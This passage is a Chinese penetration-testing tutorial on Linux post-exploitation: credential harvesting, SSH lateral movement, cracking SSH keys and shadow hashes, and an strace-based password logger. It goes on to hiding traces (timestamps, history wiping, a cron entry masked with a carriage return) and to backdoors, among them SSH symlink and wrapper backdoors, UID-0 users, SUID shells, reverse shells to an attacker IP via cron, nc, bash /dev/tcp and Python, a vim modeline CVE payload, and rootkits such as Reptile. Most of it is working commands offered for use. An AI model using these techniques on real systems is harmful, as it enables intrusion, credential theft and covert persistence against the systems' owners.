    if [ -e "${sshkey}" ]; then
        cat ${sshkey} | tee -a $filename
    else
        echo -e "SSH key文件不存在\n" | tee -a $filename
    fi
    echo -e "\n" | tee -a $filename
    echo "查看 known_hosts" | tee -a $filename
    cat ~/.ssh/known_hosts | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "查找WEB-INF" | tee -a $filename
    find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "user|pass|pwd|uname|login|db_" | tee -a $filename
    find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "jdbc:|pass=|passwd=" | tee -a $filename
    find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename
    echo -e "\n" | tee -a $filename
    # Author cances
    echo "ip和网卡信息" | tee -a $filename
    ip a | awk '{print $2,$4}' | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "可登陆用户" | tee -a $filename
    cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "用户登陆日志" | tee -a $filename
    lastlog | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "查看 hosts" | tee -a $filename
    cat /etc/hosts | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "查看 系统版本" | tee -a $filename
    cat /etc/*-release | tee -a $filename
    echo -e "\n" | tee -a $filename
    echo "查看 内核版本" | tee -a $filename
    uname -mrs | tee -a $filename
    

    Linux隧道技术

    Linux内网渗透用到的隧道技术和Windows内网渗透大差不差。

    详细见《代理、转发及隧道隐藏》文章

    Linux横向移动

    主机存活探测

    shell

    for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
    或者
    for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done 
    

    arpscan

    git clone https://github.com/attackdebris/arpscan.git
    make
    chmod +x arpscan
    ./arpscan
    

    nbtscan Linux版

    wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz
    tar -xzvf nbtscan-source-1.0.35.tgz
    make
    
    nbtscan -h
    

    端口扫描

    就正常端口扫描,没什么好说的。针对高危端口,按照渗透测试流程进行渗透,这里就不具体展开了。

    常用比如Ladon、fscan等等

    https://github.com/k8gege/LadonGo

    SSH横向

    这个是Linux横向的重点,获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同

    SSH私钥泄露

    不了解SSH私钥登录的可以看这篇文章

    https://www.runoob.com/w3cnote/set-ssh-login-key.html

    一般情况下SSH密钥存放在~/.ssh/目录下:

    id_rsa 为私钥,id_rsa.pub 为公钥
    

    搜索包含SSH密钥的文件:(下面命令不包含隐藏文件,也就是类似.ssh目录下的搜索不到)

    grep -ir "BEGIN DSA PRIVATE KEY" /home/*
    grep -ir "BEGIN DSA PRIVATE KEY" /*
    
    grep -ir "BEGIN RSA PRIVATE KEY" /home/*
    grep -ir "BEGIN RSA PRIVATE KEY" /*
    
    grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
    grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
    

    如果找到密钥,则需要确定该密钥用于哪个服务器,关注一下几个文件:

    /etc/hosts
    /etc/ssh/ssh_config
    ~/.known_hosts
    ~/.bash_history 
    ~/.ssh/config 
    

    known_hosts文件用于验证远程登陆系统的身份。ssh可以自动将密钥添加到用户文件,也可以手动添加。该文件包含用户已连接过所有主机的远程机器ip远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config文件中的HashKnownHosts字段的设置,有可能是明文也有可能是一段哈希字符串。如果没有~/.ssh/config文件,这取决于/etc/ssh/ssh_config 文件中的该字段。

    修改 /etc/ssh/ssh_config 文件,

    HashKnownHosts no

    HashKnownHosts yes

    通过密钥进行登录

    使用linux机器登录,用-i指定密钥文件的路径

    如果要在Windows上使用的话,例如putty:

    使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你设置了密钥锁码,这时则需要输入。

    载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。

    今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。

    破解SSH密钥

    如果发现的 SSH 密钥使用密码加密,则可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以访问 GPU,则应利用 hashcat 来缩短破解时间)。

    John the Ripper 有一个函数可以将他的密钥转换为一个名为 john2hash.py 的哈希值,并且预先安装在 Kali 上:

    转换哈希:
    python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
    使用综合密码字典爆破:
    john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john
    

    SSH密码爆破

    SSH密码加密存储在/etc/shadow文件中,可以使用john the raper或者hashcat等工具尝试爆破。

    shadow文件介绍

    样例:

    root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
    
    以冒号分隔:
    1.第一个字段是用户名
    2.第二字字段是加密的密码,如果是X 则代表不能登录系统  
    3.上次修改口令的时间
    4.两次修改口令的最短间隔的天数
    5.两次修改口令的最长的间隔天数  
    6.设置提前多少天告警用户口令将过期
    7.口令过期后多少天禁止此用户
    8.用户过期日期
    9.保留字段
    
    $6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
    再来解释一下$分割的各个部分的含义:
    密钥加密方式有5种:
    $1 表示MD5加密算法
    $2 表示使用blowfish 加密算法
    $5 表示 SHA-256加密算法
    $6 表示SHA-512加密算法(如上)
    其他 标准的DES
    
    qvhlqI7I:盐值
    //0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1     :hash值
    

    John the rapper破解:

    cp /etc/shadow shadow.txt             //直接保存shadow文件
    unshadow /etc/passwd  /etc/shadow >shadow.txt   //如果有unshadow的话,也可以把这两个文件整合
    
    john --wordlist=pass.txt shadow.txt   //利用字典进行破解
    john --show shadow.txt        //查看破解信息
    

    hashcat破解(大字典推荐使用hashcat):

    hashcat的使用可以看这篇文章https://xz.aliyun.com/t/4008

    将/etc/shadow文件,提取密码字段保存hash.txt

    $6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
    
    hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force
    
    -m 是指定那种加密类型,1800是SHA-512(Unix)的代号,具体–help来查看;
    -a  是指定攻击模式,0代表Straight模式,使用字典进行破解尝试;
    -o 是破解出来的信息输出结果文件,输出到found.txt文件中;
    hash.txt 是我们上面保存的加密密码文件;
    pass.txt 是我们的爆破密码,越大越精越好;
    --force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
    

    也可以使用hashcat hash --show来显示结果

    SSH Keylogger记录密码

    利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

    在当前用户的.bashrc里新建一条alias,这样可以抓取他登陆其他机器的ssh密码。

    //在当前用户的shell环境中定义一个别名
    vi ~/.bashrc
    
    //在最后一行插入
    alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
    
    //刷新当前的shell环境
    source ~/.bashrc 
    

    设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用。

    设置完毕后,使用SSH登录其他机器:

    然后,查看/tmp/.sshpwd-xxxxx文件即可找到密码:

    strace监听ssh来源流量

    刚刚使用别名的方式来抓取登陆其他机器时的密码,同样也可以利用strace来监听登陆本地的sshd流量,抓到别人连入的密码。

    应用场景如:通过漏洞获取root权限,但是不知道明文密码。

    ps -ef | grep sshd    //父进程PID
    
    //运行
    strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
    //或者后台 运行
    nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &
    

    Linux权限维持

    隐藏

    0x01 隐藏文件

    Linux 下创建一个隐藏文件:touch .test.txt

    touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图

    一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

    linux中每个目录下其实都有.和..、分别代指的是当前目录和上级目录。 建立...文件也是一个比较好的隐藏方法“

    建立参数混淆拦截rm文件

    echo 'test'  > --   //创建--文件,需要用绝对路径才能读取和删除
    

    rm -rf -- 命令执行了,文件没删除,命令也没有报错,可以误导管理员。

    想要删除的话,使用rm -rf '/root/--'

    另外,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/tmp/.font-unix/、/tmp/.ICE-unix/、/tmp/.Test-unix/、/tmp/.X11-unix/、/tmp/.XIM-unix/

    0x02 隐藏文件时间戳

    Linux下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

    利用方法

    比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

    touch -r index.php webshell.php
    

    或者直接将时间戳修改成某年某月某日。如下 2022年 02 月 01 日8时10分30秒。

    touch -t 2202010810.30 webshell.php
    
    touch -t 2202010810.30 webshell.php -c  
    //-t STAMP      use [[CC]YY]MMDDhhmm[.ss] instead of current time
    //-c  不创建文件
    

    0x03 隐藏权限

    在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

    这个技巧常被用在后门,变成了一些难以清除的后门文件。

    chattr +i evil.php  #锁定文件
    rm -rf evil.php     #提示禁止删除
    
    lsattr  evil.php    #属性查看
    chattr -i evil.php  #解除锁定
    rm -rf evil.php     #彻底删除文件
    

    0x04 隐藏历史操作

    无痕模式

    拿到shell以后,开始无痕模式,禁用命令历史记录功能。

    [space]set +o history
    备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
    

    在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

    要重新开启历史功能,执行下面的命令:

    [Space]set -o history
    它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
    

    删除指定历史命令

    history显示内存和~/.bash_history中的所有内容
    内存中的内容并没有立刻写入~/.bash_history,只有当当前shell关闭时才会将内存内容写入shell

    删除单条命令:

    history -d [num]
    

    删除多条命令:

    sed -i "100,$d" .bash_history    //删除100行以后的操作命令
    

    0x05 隐藏端口

    通过端口复用来达到隐藏端口的目的。这里以隐藏SSH端口,通过SSH进行远程登录为例。

    方法1、通过SSLH让 HTTPS 和 SSH 共享同一个端口

    详细方法参考:SSLH:让 HTTPS 和 SSH 共享同一个端口 - 知乎 (zhihu.com)

    这里以kali为例简单演示:

    下载SSLH:

    sudo apt-get install sslh
    

    配置SSLH:

    sudo vi /etc/default/sslh
    修改为:
    DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
    

    启动SSLH:

    $ sudo systemctl enable sslh
    $ sudo systemctl start sslh
    

    测试,检查 SSLH 守护程序是否正在监听 443。

    利用:

    现在,你可以使用端口 443 通过 SSH 访问远程服务器:

    方法2、利用IPTables进行端口复用

    目标机器配置:

    # 端口复用链
    iptables -t nat -N LETMEIN
    # 端口复用规则
    iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
    # 开启开关
    iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
    # 关闭开关
    iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
    # let's do it
    iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
    

    攻击机运行:

    #开启复用
    echo threathuntercoming | socat - tcp:192.168.111.133:80
    #ssh使用80端口进行登录
    ssh -p 80 root@192.168.111.133
    #关闭复用
    echo threathunterleaving | socat - tcp:192.168.111.133:80
    

    测试完毕后,在目标机删除iptables规则:

    iptables -L -n --line-number    //iptables -L -n --line-number
    iptables -D INPUT 3             //删除INPUT的第三条已添加规则,这里3代表第几行规则
    

    0x06 隐藏进程

    管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

    libprocesshider : https://github.com/gianlucaborello/libprocesshider

    linux-inject: https://github.com/gaffe23/linux-inject

    后门

    SSH后门

    SSH软连接

    前提:

    允许PAM认证(默认):

    cat /etc/ssh/sshd_config
    

    原理:

    在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆

    利用:

    可用的软连接名称:

    find /etc/pam.d |xargs grep "pam_rootok" 
    

    上面su、chfn、chsh等这几个名称都可以,下面以su为例:

    通过软连接建立后门:

    ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4444
    

    执行完之后,任何一台机器ssh root@IP -p 4444,输入任意密码,成功登录:

    优点:

    能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。

    删除软连接后门:

    rm -rf 【软连接地址】
    

    SSH Wrapper

    原理:

    init 首先启动的是 /usr/sbin/sshd ,脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启动 /usr/bin/sshd ,这是原始 sshd 。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的 /usr/sbin/sshd ,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字, getpeername 能真的获取到客户端的 TCP 源端口,如果是指定端口, 就执行sh给个shell。

    利用:

    目标机:

    cd /usr/sbin/
    mv sshd ../bin/
    
    echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd   //4A是13377的小端模式
    echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    chmod u+x sshd
    
    /etc/init.d/sshd restart 
    

    攻击机:

    socat STDIO TCP4:target_ip:22,sourceport=13377
    
    #如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
    >>> import struct
    >>> buffer = struct.pack('>I6',19526)
    >>> print repr(buffer)
    '\x00\x00LF'
    >>> buffer = struct.pack('>I6',13377)
    >>> print buffer
    4A
    

    优点:

    1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。

    2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。

    SSH公钥免密登录

    这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,比如redis未授权写入公钥。

    但是这个方法比如容易被发现

    攻击机生成公私钥对:

    ssh-keygen -t rsa
    

    再把公钥id_rsa.pub发送到目标上,追到到authorized_keys文件中:

    echo id_rsa.pub >> .ssh/authorized_keys  //将id_rsa.pub内容放到目标.ssh/authorized_keys里
    

    同时赋予权限,但是权限不能过大:

    chmod 600 ~/.ssh/authorized_keys
    chmod 700 ~/.ssh
    

    然后,ssh在开启密钥登录功能的前提下,攻击机即可免密登录。

    添加用户、隐身登录

    添加的用户很容易被发现,不常用。

    一句话添加普通用户:

    # 创建一个用户名guest,密码123456的普通用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
    
    # useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
    useradd -p "$(openssl passwd -1 123456)" guest
    
    # chpasswd方法
    useradd guest;echo 'guest:123456'|chpasswd
    
    # echo -e方法
    useradd test;echo -e "123456\n123456\n" |passwd test
    

    一句话添加root用户:

    # 创建一个用户名guest,密码123456的root用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
    

    隐身登录:
    隐身登录系统,不会被last、who、w等指令检测到

    ssh -T username@host /bin/bash -i
    
    ssh -o UserKnownHostsFile=/dev/null -T user@host 
    /bin/bash -if
    

    SUID后门

    在介绍linux提权的时候,曾说过SUID

    什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性——s标志。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权

    创建一个suid权限的文件:

    cp /bin/bash /tmp/.woot
    chmod u+s /tmp/.woot
    ls -al /tmp/.woot
    

    使用普通用户运行就可获得root权限:

    /tmp/.woot 
    /tmp/.woot -p    //bash2 针对 suid 有一些护卫的措施,需要使用-p参数来获取一个root shell
    

    Cron后门

    在 ubuntu 中直接在计划任务中默认使用的是sh,指向的是 dash 而不是 bash ,所以执行反弹任务可能会失败,解决方案参考:https://cloud.tencent.com/developer/article/1683265

    在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。

    cron表达式在线生成:https://www.bejson.com/othertools/cron/

    crontab -e 设置定时任务

    #每一分钟执行一次
    */1 * * * * /bin/bash /root/test.sh
    
    或者直接执行反弹shell
    */1 * * * * /bin/bash -c "/bin/sh -i >& /dev/tcp/192.168.111.253/8877 0>&1" 
    

    test.sh:

    #!/bin/bash
    bash -i >& /dev/tcp/192.168.111.253/8899 0>&1  
    

    chmod +sx test.sh

    crontab -l 查看定时任务:

    重启crond服务,service crond restart,然后就可以用nc接收shell:

    如上方式,管理员执行crontab -l就能看到执行的命令内容不是特别隐蔽。

    使用如下命令设置计划任务,crontab -l执行后会显示"no crontab for root",就达到了一个简单的隐藏效果:

    (printf "*/1 * * * * /bin/bash /root/test.sh;\rno crontab for `whoami`%100c\n")|crontab -
    

    \r导致显示截断,使得后面的内容逐个字符覆盖前面的字符;

    100%c 的作用是格式化输出一个字符,前面99个空格补齐。

    详细分析可以看这篇文章:https://cloud.tencent.com/developer/article/1683265

    实际上是他将 cron 文件写到文件中,而 crontab -l 就是列出了该文件的内容:

    /var/spool/cron/crontabs/root
    

    通常 cat 是看不到这个的,只能利用 less、vim 或者 cat -A 看到,这也是利用了cat的一个缺陷

    cat默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令。

    VIM后门

    vim modeline(CVE-2019-12735)

    该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能。 当 vim 打开一个包含了 vim modeline 注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。

    vim默认关闭modeline。

    受影响版本:Vim < 8.1.1365, Neovim < 0.3.6

    使用:

    首先在开启modeline:

    vim ~/.vimrc
    set modeline
    

    然后我们创建个文件测试一下:

    echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > test.txt
    
    vim test.txt
    

    可以看到成功执行了uname -a命令

    现在我们创建反弹shell的文件:

    shell.txt

    :!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.111.253 8888 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
    
    or
    
    :!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i >& /dev/tcp/192.168.111.253/8888 0>&1 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
    

    vim python 扩展后门

    适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统

    vim --version可以看到vim支持python3

    构造一个反弹shell脚本
    test.py

    import socket,subprocess,os
    
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.111.253",8888))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])
    

    执行

    vim -E -c "py3file test.py"
    

    执行完之后命令行界面就会一片空白如下图所示,属正常现象,此时关闭命令行界面,也不会影响已经反弹回去的shell

    接收到的shell:

    此时可以看到可疑的 vim 连接

    但是这样的后门太明显了,而且 vim -E -c “py3file test.py” 命令执行之后,还会有一个空白窗口。

    我们需要隐藏一下:

    从以下两点出发:

    1、

    (nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &)
    
    #nohup的执行结果输出到/dev/null中
    #其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
    #“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
    

    2、既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

    因为我们最终的执行命令为:

    (nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py
    

    PAM后门

    PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。

    利用脚本:

    https://github.com/litsand/shell
    

    inetd后门

    inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。

    如果来自外部的某个socket是要执行一个可交互的shell (比如,我们已经在目标系统的inetd配置文件中事先定义好),这就相当于一个简易的bind型后门

    安装:

    apt-get install openbsd-inetd
    

    利用:

    #修改/etc/inetd.conf
    $vim /etc/inetd.conf
    
    #discard stream tcp nowait root internal 
    #discard dgram udp wait root internal 
    daytime stream tcp nowait root /bin/bash bash -i  # 当外部请求名为daytime的服务时就弹shell
    
    #开启inetd
    $inetd
    

    使用nc连接

    nc -vv 192.168.111.132 13
    

    进阶:

    可以把daytime换成其他服务,服务和端口的对应关系在/etc/services文件查看,我们可以选择现有的,也可以自己添加一个:

    然后修改/etc/inetd.conf

    nc连接8881端口接口即可获得shell:

    检测:

    查看配置文件即可

    cat /etc/inetd.conf 
    

    ICMP后门

    利用ICMP中可控的data字段进行数据传输

    项目地址:

    https://github.com/andreafabrizi/prism
    

    使用:

    首先编译.c文件【具体要求可以看项目里的介绍】

    Linux 64bit:
    apt-get install libc6-dev-amd64
    gcc -DDETACH -m64 -Wall -s -o prism prism.c
    
    Linux 32bit:
    apt-get install libc6-dev-i386
    gcc -DDETACH -m32 -Wall -s -o prism prism.c
    

    运行:

    ./prism Inf0
    ./sendPacket.py 192.168.111.132 p4ssw0rd 192.168.111.253 8888
    
    #192.168.111.132 is the victim machine running prism backdoor
    #p4ssw0rd is the key
    #192.168.111.253 is the attacker machine address
    #8888 is the attacker machine port
    

    DNS后门

    在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中。

    一些项目:

    https://github.com/DamonMohammadbagher/NativePayload_DNS
    https://github.com/iagox86/dnscat2
    http://code.kryo.se/iodine
    

    进程注入

    进程注入类后门一般都需要一个 ptrace 库,ptrace 库用来调试进程,基本 linux 系统都自带此库。

    进程注入工具很多

    https://github.com/gaffe23/linux-inject
    https://sourceforge.net/projects/cymothoa/files/
    https://github.com/screetsec/Vegile
    
    【false】Cymothoa

    cymothoa 是一个后门工具,利用代码 shellcode 会被注入到进程中,只要进程存在,后门就会有效,所以一般选择一些自启服务的进程来注入,例如 web 服务 mysql,apache 等。其后门所拥有的权限和注入的进程权限是相同的。当拿下目标 shell 后就可以使用 cymothoa 添加后门了。

    使用:

    下载,进入Cymothoa,运行

    ./cymothoa -S  #列出可用的shellcode
    

    这里我们就用序号 1 这个 payload,通过端口来反向 shell。使用 -p参数,用来指定需要注入的进程的 pid, - s,用来指定使用 shellcode 的序号,-y用来指定反向 shell 的端口,即别人连接自己时需要连接的端口。运行后当出现 infected 即感染的意思则代表后门注入成功。

    没成功,先没管了。。。

    Vegile

    Vegile是一个用来隐藏自己的进程的工具,即使进程被杀,又会重新启动。总会有一个进程会运行另一个进程,所以我们可以假设这个进程是不可阻挡的。

    attack机器

    先生成个后门:

    msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f elf -o NAME_BACKDOOR
    

    使用任意一种方式传到victim机器。

    使用msf监听:

    victim机器

    git clone https://github.com/Screetsec/Vegile.git
    cd Vegile
    chmod +x Vegile
    

    -i是进程注入的方式
    -u是进程被杀还可以继续反弹shell

    运行

    ./Vegile --i test
    

    --u也类似,就不演示了。

    Tiny shell

    Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小,通信加密,分为客户端和服务端,支持正向连接和反弹连接模式

    https://github.com/orangetw/tsh
    

    使用:

    • 正向:

    首先打开tsh.h设置密码(用户加密客户端与服务端的通信数据);

    修改SERVER_PORT值(后门运行后监听的端口);

    修改FAKE_PROC_NAME值(用于伪装显示后门运行后的进程名字);

    注释掉CONNECT_BACK*两行代码(这两行代码用户反向模式);

    这里因为演示就简单改一下,修改后如下所示:

    编译:

    make linux
    
    #支持多种系统  linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
    

    编译完成后生成tsh(客户端)、tshd(服务端)两个文件:

    服务端执行:

    umask 077; HOME=/var/tmp ./tshd
    
    ./tshd
    

    客户端:(除了获取shell之外,还可以执行单条命令、传输文件)

    ./tsh 192.168.111.132
    
    #./tsh victim_ip
    

    : 服务端运行后,其父进程PID是1,也就是说这个进程是守护进程除非重启系统,或者手动关闭,否则一直存在(当然你也可以加入启动项,或者加入任务计划中

    • 反向:

    编译前的准备工作和 编译正向模式类似,不过 需要将CONNECT_BACK*两行去掉注释,即去掉//,并将ip改为客户端的ip,延时也可适当修改:

    编译:

    make linux 
    

    服务端运行

    umask 077; HOME=/var/tmp ./tshd
    ./tshd
    

    客户端运行:

    ./tsh cb  #cb表示反向模式
    

    注:这里只是简单演示,在实际使用中还可以进行各种欺骗性伪装,改进程名、移到欺骗性目录等等。

    自启动

    chmod +x /etc/rc.d/rc.local
    vi /etc/rc.d/rc.local
    

    在此文件中添加需要开机执行的脚本的绝对路径,如

    /usr/local/shell/crontab.sh
    

    保存退出,即可生效。

    设置定时任务后,系统重启后会自动定时执行,不需要再设置开机自启,如果发现有中断的情况,考虑crond服务的启动情况。

    Rootkit

    rootkit是攻击者向计算机系统中植入的,能够隐藏自身踪迹并保留root权限的恶意程序。rootkit基于攻击者已经拿到root权限之后对系统进行破坏。rootkit会尽可能通过隐藏文件、进程、模块、进程等信息避免被监控程序检测。

    这个项目列出了很多好用的rootkit,感兴趣的可以去看看。

    这里只演示一下Reptile的使用。

    Reptile 是种 LKM(Loadable Kernel Modules) rootkit,因此具有很好的隐藏性和强大的功能。

    安装:

    apt-get install vim gcc make g++ unzip -y
    apt-get -y install linux-headers-$(uname -r)
    
    git clone https://github.com/f0rb1dd3n/Reptile.git
    ./setup.sh install    #全自动化安装,安装后也会全自动删除,要注意需要交互式shell
    

    安装过程会有如下选项:

    Hide name (will be used to hide dirs/files) (default: reptile): 会被隐藏的文件或文件名

    Auth token to magic packets (default: hax0r):连接后门时的认证

    tokenBackdoor password (default: s3cr3t):后门密码

    Tag name that hide file contents (default: reptile):标签名,在该标签中的内容都会被隐藏

    Source port of magic packets (default: 666): 源端口默认即可

    Would you like to config reverse shell each X time? (y/n) (default: n): 是否每隔一段时间弹 shell ,这个功能很强,隐藏+开机自启动,如果对方防范意识不高,可以使用这个。

    Reverse IP : 控制端ip

    Reverse Port: 控制端端口

    would you like to config reverse shell each x time(default:1800) :您希望每隔x时间回连一次

    安装成功,并且可以删除本地文件夹:

    看看rootkit效果:

    隐藏目录:

    名称中包含的所有文件和文件夹都reptile将被隐藏。您可以在安装之前进行配置。
    以下命令隐藏/取消隐藏文件、文件夹、进程和内核模块本身:
    隐藏:/reptile/reptile_cmd hide
    取消隐藏:/reptile/reptile_cmd show
    

    隐藏进程:

    隐藏进程:/reptile/reptile_cmd hide <pid>
    取消隐藏进程:/reptile/reptile_cmd show <pid>
    

    隐藏TCP/UDP连接:

    隐藏:/reptile/reptile_cmd conn <IP> hide
    取消隐藏:/reptile/reptile_cmd conn <IP> show
    
    注意:默认情况下,TCP 和 UDP 隐藏功能隐藏到 IP 的所有连接
    

    控制端:

    安装:

    #首先安装依赖
    apt install libreadline-dev   #Debian
    yum install readline-devel    #RHEL
    
    安装执行 ./setup client
    

    进入bin目录,执行./client即可启动

    这个后门的运作逻辑是用任意机器(一般都是控制机)的特定端口(配置目标机器的时候666那个srcport参数)给目标 任意端口发送一段数据。然后目标机器接受到这个数据,再按照配置的里面回连。

    控制端根据受控端的配置,进行设置:

